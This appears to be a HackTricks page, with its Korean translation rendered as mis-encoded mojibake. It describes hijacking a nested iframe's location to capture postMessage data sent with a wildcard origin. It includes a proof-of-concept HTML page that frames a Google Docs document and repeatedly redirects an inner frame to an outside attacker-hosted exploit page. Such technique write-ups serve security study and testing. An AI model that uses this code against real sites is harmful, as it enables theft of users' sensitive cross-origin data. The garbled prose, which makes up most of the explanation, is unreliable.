Steal postmessage modifying iframe location
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Changing child iframes locations
According to this writeup, ๋ง์ฝ X-Frame-Header๊ฐ ์๋ ์นํ์ด์ง๋ฅผ iframe์ผ๋ก ์ฝ์ ํ ์ ์๋ค๋ฉด, ๊ทธ ์์ ์๋ ๋ค๋ฅธ iframe์ ์์น๋ฅผ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, abc.com์ด efg.com์ iframe์ผ๋ก ๊ฐ์ง๊ณ ์๊ณ abc.com์ X-Frame ํค๋๊ฐ ์๋ค๋ฉด, **frames.location**์ ์ฌ์ฉํ์ฌ efg.com์ evil.com์ผ๋ก ๊ต์ฐจ ์ถ์ฒ๋ก ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
์ด๋ postMessages์์ ํนํ ์ ์ฉํ๋ฐ, ๋ง์ฝ ํ์ด์ง๊ฐ ์์ผ๋์นด๋๋ฅผ ์ฌ์ฉํ์ฌ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๊ณ ์๋ค๋ฉด windowRef.postmessage("","*"), ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์์น๋ก ๊ด๋ จ iframe(์์ ๋๋ ๋ถ๋ชจ)์ ์์น๋ฅผ ๋ณ๊ฒฝํ๊ณ ๊ทธ ๋ฐ์ดํฐ๋ฅผ ํ์น ์ ์์ต๋๋ค.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


